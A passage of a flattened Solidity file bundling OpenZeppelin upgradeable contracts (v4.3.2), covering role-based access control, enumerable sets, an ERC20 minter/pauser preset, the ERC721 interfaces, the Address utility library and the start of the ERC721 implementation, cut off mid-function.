function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {
function initialize(string memory name, string memory symbol) public virtual initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
